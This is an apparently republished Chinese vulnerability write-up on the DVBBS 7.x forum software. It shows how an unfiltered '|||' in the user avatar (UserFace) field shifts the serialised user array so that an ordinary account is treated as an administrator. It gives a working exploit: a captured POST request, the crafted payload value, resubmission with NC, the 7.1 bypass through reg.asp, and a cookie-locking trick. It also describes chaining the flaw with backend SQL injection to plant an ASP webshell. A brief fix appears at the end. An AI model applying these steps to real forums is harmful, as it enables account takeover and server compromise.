动网7.x权限提升漏洞原理
动网7.x权限提升漏洞原理
发布时间:2016-12-26 来源:查字典编辑
摘要:在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文,说是admin_postings.asp文件存在注入漏洞,但利用的前提是拥有超级版主或前...

在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文,说是admin_postings.asp文件存在注入漏洞,但利用的前提是拥有超级版主或前台管理员权限。我想起以前发现的动网7.x版本存在一个前台权限提升漏洞,正好可以结合起来利用。这个前台权限提升漏洞对7.x的Access和SQL版都有效。下面我们就以7.0SP2SQL版,讲解这个漏洞的利用。

漏洞分析:

我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用户的权限。它是如何取得这个GroupID的呢?让我们看看登录验证的那一段:login.asp的525行左右:

Rem==========论坛登录函数=========

Rem判断用户登录

FunctionChkUserLogin(username,password,mobile,userCookies,ctype)

…………前面的代码省略

SQL="SelectUserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace

,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,

userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,

UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"

SQL=SQL+"From[Dv_User]Where"&SQLstr&""

setrsUser=DVBBS.Execute(SQL)

IfrsUser.eofandrsUser.bofThen

ChkUserLogin=false

ExitFunction

Else

iMyUserInfo=rsUser.GetString(,1,"|||","","")

rsUser.Close:SetrsUser=Nothing

EndIf

iMyUserInfo="DVBBS|||"&Now&"|||"&Now&"|||"&DVBBS.BoardID&"|||"&

iMyUserInfo&"||||||DVBBS"

iMyUserInfo=Split(iMyUserInfo,"|||")

Iftrim(password)<>trim(iMyUserInfo(6))Then

ChkUserLogin=false

ElseIfiMyUserInfo(17)=1Then

ChkUserLogin=false

ElseIfiMyUserInfo(19)=5Then

ChkUserLogin=false

Else

ChkUserLogin=True

Session(DVBBS.CacheName&"UserID")=iMyUserInfo

DVBBS.UserID=iMyUserInfo(4)

RegName=iMyUserInfo(5)

Article=iMyUserInfo(8)

UserLastLogin=iMyUserInfo(15)

UserClass=iMyUserInfo(18)

GroupID=iMyUserInfo(19)

TitlePic=iMyUserInfo(34)

IfArticle<0ThenArticle=0

EndIf

…………后面的代码省略

可以看到,动网将用户的信息先用“|||”三个竖线连起来,做为一个字符串传给iMyUserInfo,然后iMyUserInfo由“|||”分隔成一个字符串数组。用户密码验证正确后就把数组的第20个元素的值:iMyUserInfo(19)赋给GroupID。看到没,GroupID只是数组对应的第20个元素的值,如果iMyUserInfo(19)的值为1的话,动网就以为现在登录的用户是前台管理员了。

在inc目录下的Dv_ClsMain.asp文件中也有这么验证用户身份的一段代码,用来在用户更新信息后检测用户的权限。

Dv_ClsMain.asp的650行左右

PublicSubTrueCheckUserLogin()

……前面的省略

DimRs,SQL

SQL="SelectUserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,

UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,

UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,

UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"

SQL=SQL+"From[Dv_User]WhereUserID="&UserID

SetRs=Execute(SQL)

IfRs.EofAndRs.BofThen

Rs.Close:SetRs=Nothing

UserID=0

EmptyCookies

LetGuestSession()

Else

MyUserInfo=Rs.GetString(,1,"|||","","")

Rs.Close:SetRs=Nothing

IfIsArray(Session(CacheName&"UserID"))Then

MyUserInfo="DVBBS|||"&Now&"|||"&Session(CacheName&"UserID")(2)&"|||"&BoardID&"|||"&MyUserInfo&"||||||DVBBS"

Else

MyUserInfo="DVBBS|||"&Now&"|||"&DateAdd("s",-3600,Now())&"|||"&BoardID&"|||"&MyUserInfo&"||||||DVBBS"

EndIF

Response.WriteMyUserInfo

MyUserInfo=Split(MyUserInfo,"|||")

……

EndIf

EndSub

’用户登录成功后,采用本函数读取用户数组并判断一些常用信息

PublicSubGetCacheUserInfo()

MyUserInfo=Session(CacheName&"UserID")

UserID=Clng(MyUserInfo(4))

MemberName=MyUserInfo(5)

Lastlogin=MyUserInfo(15)

IfNotIsDate(LastLogin)ThenLastLogin=Now()

UserGroupID=Cint(MyUserInfo(19))

……后面代码省略

两处检验的方式一模一样,所以我们可以利用这两个中的任意一个来达到我们的目的。看它的SQL语句部分:

SQL="SelectUserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"

SQL=SQL+"From[Dv_User]WhereUserID="&UserID

UserGroupID字段排在第16个,只要我们前面的一个字段的数据中含有“|||”,那么UserGroupID在MyUserInfo这个字符串数组的位置就改变了。对这个字段选取有些特殊的要求,字段类型要合适,不能为数字型,字段的长度要可以容纳下我们构造的数组,并且还得是上面SQL语句中排在UserGroupID前面的字段,这样才能使构造的数组改变原来数组中UserGroupID的位置。如图1所示。

我们能利用的就只有UserEmail、UserFace这两个字段了。由于IsValidEmail函数的存在,我们没法在UserEmail字段中插入‘|',所以能利用的就只有UserFace字段了。

在基本资料修改时,动网只过滤了SQL注入用的几个符号,没有过滤掉‘|',所以只要我们构造出正确的字符串,就可以骗过动网,成为管理员组的用户了。

face=Dv_FilterJS(replace(face,"’",""))

face=Replace(face,"..","")

face=Replace(face,"","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

漏洞的利用:

如何构造这个UserFace来达到我们的目的呢?最开始我以为只要iMyUserInfo(19)为1就可以是管理员了,但一直没有成功。其实我们在构造这个UserFace时还要考虑到一点,我们已经改变了iMyUserInfo数组的结构,我们必须保证新的iMyUserInfo数组的前面一部分的结构和原数组结构一模一样,否则就会出现类型转换错误,比如UserBirthday,在新的数组中该字段位置的值必须为一个日期。我们可以直接拿一个正常的iMyUserInfo的后半部分做我们的UserFace值,然后将UserGroupID位置改为一。我修改了login.asp文件,让它在用户登录时显示当前用户的iMyUserInfo的内容,如图2所示。

例如admin(不一定非得是admin的,其他用户的也行,只要UserGroupID处改为1就行了)登录时的iMyUserInfo的值为:

DVBBS|||2005-6-1918:05:34|||2005-6-1918:05:34|||0|||1|||admin|||469e80d32c0559f8|||

eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-3016:34:00|||2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200

|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0||||||DVBBS

我们可以取

images/userface/image1.gif|||32|||32|||2003-12-3016:34:00|||2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0||||||DVBBS

做我们的UserFace值,要注意这个值的长度不能超过255个字符。动网限制了我们提交的字符为100个,我们可以用NC来提交。

先在本机测试一下,用普通用户登录动网,现在用户等级还是新手上路。

好了,我们去修改基本信息的地方。

提交,用WSE抓下这个包

截取到的包如下:

POST/bs/mymodify.asp?action=updat&username=4HTTP/1.1

Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,*/*

Referer:http://210.41.235.199/bs/mymodify.aspAccept-Language:zh-cn

Content-Type:application/x-www-form-urlencodedAccept-Encoding:gzip,deflate

User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;AlexaToolbar;mxie;.NETCLR1.1.4322)

Host:210.41.235.199Content-Length:396Connection:Keep-AliveCache-Control:no-cacheCookie:210%2E41%2E235%2E199%2Fbs%2F=userCookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=test&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&userid=4;upNum=0;ASPSESSIONIDASCDABTA=IEGHDLKCCHDMOBPFPFFHMNAM

title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fimage1.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&userCookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0%C2

好,我们把userface的值给替换成

images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||

9pc722664t5w7IM7|||0|0|0||||||DVBBS

要注意中间的空格替换成%20,重新计算Content-Length的值,然后用NC提交一次,我们这个用户的userface就替换过来了。我们现在再重新登录看看。

哈哈,看到了吗?我们已经是管理员了。再利用黑防第六期《动网7.1漏洞惊现江湖》一文中的漏洞就可以添加后台管理员了。

动网7.1利用方法:

动网的7.1版利用这个漏洞的方法有点小变化,难度也比7.0SP2要大。7.1版中加入了对face变量中的'|'符号的过滤

mymodify.asp文件中的270行附近:

face=Dv_FilterJS(Replace(face,"’",""))

face=Replace(face,"..","")

face=Replace(face,"","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

face=Replace(face,"|","")

可惜的是动网的程序员百密而一疏,忘了注册时也可以修改头像,在reg.asp中就没有对face变量做任何的过滤。Reg.asp文件的285行附近。

IfRequest.form("face")<>""Then

face=Request.form("face")

EndIf

同样,还是先抓包后用NC提交。注册登录后就是前台管理员了。但还要一个问题,就是Truepassword问题。7.1中加强了对Cookie欺骗的防范,所以这个truepassword变化的太频繁了。在7.0SP2的newpass.asp中,只有一个更新当前用户turepassword的指令:

7.0SP2的newpass.asp文件

处理SSI文件时出错

处理SSI文件时出错

<%

DVBBS.NewPassword0()

%>

而在7.1中,newpass.asp还会检查用户的Cookies是否更新。7.1newpass.asp文件的30行左右

’检查写入是否成功如果成功则更新数据

IfDVBBS.checkStr(Trim(Request.Cookies(DVBBS.Forum_sn)("password")))=TruePassWordThen

DVBBS.Execute("UpDate[Dv_user]SetTruePassWord=’"&TruePassWord&"’whereUserID="&DVBBS.UserID)

DVBBS.MemberWord=TruePassWord

DimiUserInfo

iUserInfo=Session(DVBBS.CacheName&"UserID")

iUserInfo(35)=TruePassWord

Session(DVBBS.CacheName&"UserID")=iUserInfo

EndIf

在7.1中,我们的客户端的Cookies中的truepassword被更新成新的truepassword,由于服务器端的truepassword也是从MyUserInfo中得来的,而MyUserInfo中的truepassword值是不会改变的,在检测时就会形成一个死循环。我们的解决的办法是用Cookies锁定,用桂林老兵的浏览器锁定我们的Cookies,之前得将Cookies中的truepassword值设成和MyUserInfo中的truepassword值一致。这样就不会重复请求newpass.asp进入死循环了。

由于手头上没有7.1的SQL版的代码,所以上面是在7.1的Access版下测试的,可以成功的成为前台的管理员。

后记:

漏洞的防范方法:改数据库结构的工程大了点,建议在reg.asp和mymodify.asp中加入对相应变量的”|”符号进行过滤,比如:

face=Dv_FilterJS(Replace(face,"’",""))

face=Replace(face,"..","")

face=Replace(face,"","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

face=Replace(face,"|","")

还想提一点,动网太信任后台的管理员了,所以在后台的很多地方都没有对SQL注入进行防范,这就形如给我们开了一个SQL注入之门。我们曾经检测的一个网站,设置的非常BT。上面用的就是DVBBS的论坛。当我们取得了DVBBS的后台管理员权限时才发现上传目录没有执行权限,asp木马传上去了又原样返回。而由执行asp权限的目录又没有写入的权限。网站上又没有其他的站点可以注入。后来发现DVBBS后台有注入后才总算得到一匹小马。真是千里之堤,溃于蚁穴啊。

哆嗦一句,这个权限提升漏洞没有太高深的技巧,但后果是非常严重的。由于前台管理的多个页面存在SQL注入,所以这个漏洞对DVBBS7.xSQL版的危害非常大。请不要用本文的方法做破坏行为,否则后果自负。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类